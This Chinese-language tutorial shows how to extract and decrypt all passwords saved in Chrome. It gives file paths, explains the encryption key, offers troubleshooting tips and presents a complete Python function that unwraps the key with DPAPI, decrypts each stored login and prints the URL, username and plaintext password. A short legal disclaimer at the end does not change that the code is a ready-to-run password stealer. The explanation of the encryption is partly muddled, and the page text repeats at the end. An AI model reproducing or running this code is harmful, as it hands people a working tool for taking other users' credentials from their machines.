抓取Chrome所有版本密码
字数 1095 2025-08-09 15:23:08

Chrome密码提取技术分析与解决方案

1. 技术背景

Chrome浏览器将用户保存的密码加密存储在本地SQLite数据库中,位置通常为:

  • Windows: %LocalAppData%\Google\Chrome\User Data\Default\Login Data
  • macOS: ~/Library/Application Support/Google/Chrome/Default/Login Data
  • Linux: ~/.config/google-chrome/Default/Login Data

2. 加密机制

Chrome使用两种加密方式保护密码:

  1. DPAPI加密(Windows系统):使用Windows数据保护API
  2. AES-256-GCM加密(非Windows系统或主密码设置时)

3. 常见问题解决方案

3.1 基础运行错误

  • 问题:直接运行脚本出错
  • 解决方案
    1. 确保Python环境正确(建议Python 3.6+)
    2. 安装必要依赖:pip install pycryptodome pypiwin32
    3. 检查Chrome进程是否关闭(需关闭Chrome才能访问数据库)
    4. 确认脚本有足够权限访问用户目录

3.2 CryptoPP验证错误

  • 错误信息HashVerificationFilter: message hash or MAC not valid

  • 原因分析

    • 加密初始化向量(IV)长度不正确(应为12字节)
    • 主密钥获取失败或损坏
    • 加密数据被截断或损坏
  • 解决方案

    1. 确认IV处理逻辑:
      # 正确获取12字节IV的示例
      iv = encrypted_password[3:15]  # 前3字节为v10标识
      
    2. 检查主密钥获取:
      # Windows DPAPI解密示例
      import win32crypt
      encrypted_key = ... # 从Local State获取
      key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)
      
    3. 验证数据完整性:
      # 确保加密数据完整
      ciphertext = encrypted_password[15:-16]
      tag = encrypted_password[-16:]
      

3.3 异步处理问题

  • 问题表现:卡在异步解密步骤
  • 解决方案
    1. 使用同步解密方式:
      cipher = AES.new(key, AES.MODE_GCM, iv)
      plaintext = cipher.decrypt_and_verify(ciphertext, tag)
      
    2. 检查Python版本兼容性(某些异步语法在旧版本不支持)

4. 完整实现代码框架

import os
import sqlite3
import json
import base64
from Crypto.Cipher import AES
import win32crypt

def get_chrome_passwords():
    # 1. 定位Login Data文件
    login_data_path = os.path.join(os.getenv('LOCALAPPDATA'), 
                                  'Google', 'Chrome', 
                                  'User Data', 'Default', 'Login Data')
    
    # 2. 连接数据库
    conn = sqlite3.connect(login_data_path)
    cursor = conn.cursor()
    
    # 3. 查询密码数据
    cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
    
    # 4. 获取加密密钥
    with open(os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome', 
                          'User Data', 'Local State'), 'r') as f:
        local_state = json.load(f)
    encrypted_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
    encrypted_key = encrypted_key[5:]  # 移除DPAPI前缀
    key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
    
    # 5. 解密密码
    for url, user, encrypted_pass in cursor.fetchall():
        if encrypted_pass.startswith(b'v10'):
            iv = encrypted_pass[3:15]
            ciphertext = encrypted_pass[15:-16]
            tag = encrypted_pass[-16:]
            
            cipher = AES.new(key, AES.MODE_GCM, iv)
            try:
                password = cipher.decrypt_and_verify(ciphertext, tag).decode()
                print(f"URL: {url}\nUser: {user}\nPassword: {password}\n")
            except ValueError as e:
                print(f"解密失败: {e}")
    
    conn.close()

5. 高级技巧

  1. 跨平台支持

    • Windows: 使用DPAPI
    • macOS: 从Keychain获取密钥
    • Linux: 使用libsecret或GNOME Keyring
  2. Chrome版本适配

    • v80+ 使用AES-256-GCM
    • 旧版本使用AES-256-CBC
  3. 错误处理增强

    try:
        # 解密逻辑
    except (ValueError, KeyError) as e:
        print(f"错误: {e}")
        # 尝试备用解密方案
    

6. 法律与道德声明

  1. 本技术仅限合法授权场景使用
  2. 未经授权访问他人密码属违法行为
  3. 建议用于:
    • 企业IT资产管理
    • 个人数据恢复
    • 安全审计与研究

7. 参考资料

  1. Chromium源码安全设计文档
  2. OWASP加密存储指南
  3. Microsoft DPAPI技术文档
  4. NIST密码学标准建议

请确保在实际应用中遵守相关法律法规,仅在有合法授权的情况下使用这些技术。

Chrome密码提取技术分析与解决方案 1. 技术背景 Chrome浏览器将用户保存的密码加密存储在本地SQLite数据库中,位置通常为: Windows: %LocalAppData%\Google\Chrome\User Data\Default\Login Data macOS: ~/Library/Application Support/Google/Chrome/Default/Login Data Linux: ~/.config/google-chrome/Default/Login Data 2. 加密机制 Chrome使用两种加密方式保护密码: DPAPI加密 (Windows系统):使用Windows数据保护API AES-256-GCM加密 (非Windows系统或主密码设置时) 3. 常见问题解决方案 3.1 基础运行错误 问题 :直接运行脚本出错 解决方案 : 确保Python环境正确(建议Python 3.6+) 安装必要依赖: pip install pycryptodome pypiwin32 检查Chrome进程是否关闭(需关闭Chrome才能访问数据库) 确认脚本有足够权限访问用户目录 3.2 CryptoPP验证错误 错误信息 : HashVerificationFilter: message hash or MAC not valid 原因分析 : 加密初始化向量(IV)长度不正确(应为12字节) 主密钥获取失败或损坏 加密数据被截断或损坏 解决方案 : 确认IV处理逻辑: 检查主密钥获取: 验证数据完整性: 3.3 异步处理问题 问题表现 :卡在异步解密步骤 解决方案 : 使用同步解密方式: 检查Python版本兼容性(某些异步语法在旧版本不支持) 4. 完整实现代码框架 5. 高级技巧 跨平台支持 : Windows: 使用DPAPI macOS: 从Keychain获取密钥 Linux: 使用libsecret或GNOME Keyring Chrome版本适配 : v80+ 使用AES-256-GCM 旧版本使用AES-256-CBC 错误处理增强 : 6. 法律与道德声明 本技术仅限合法授权场景使用 未经授权访问他人密码属违法行为 建议用于: 企业IT资产管理 个人数据恢复 安全审计与研究 7. 参考资料 Chromium源码安全设计文档 OWASP加密存储指南 Microsoft DPAPI技术文档 NIST密码学标准建议 请确保在实际应用中遵守相关法律法规,仅在有合法授权的情况下使用这些技术。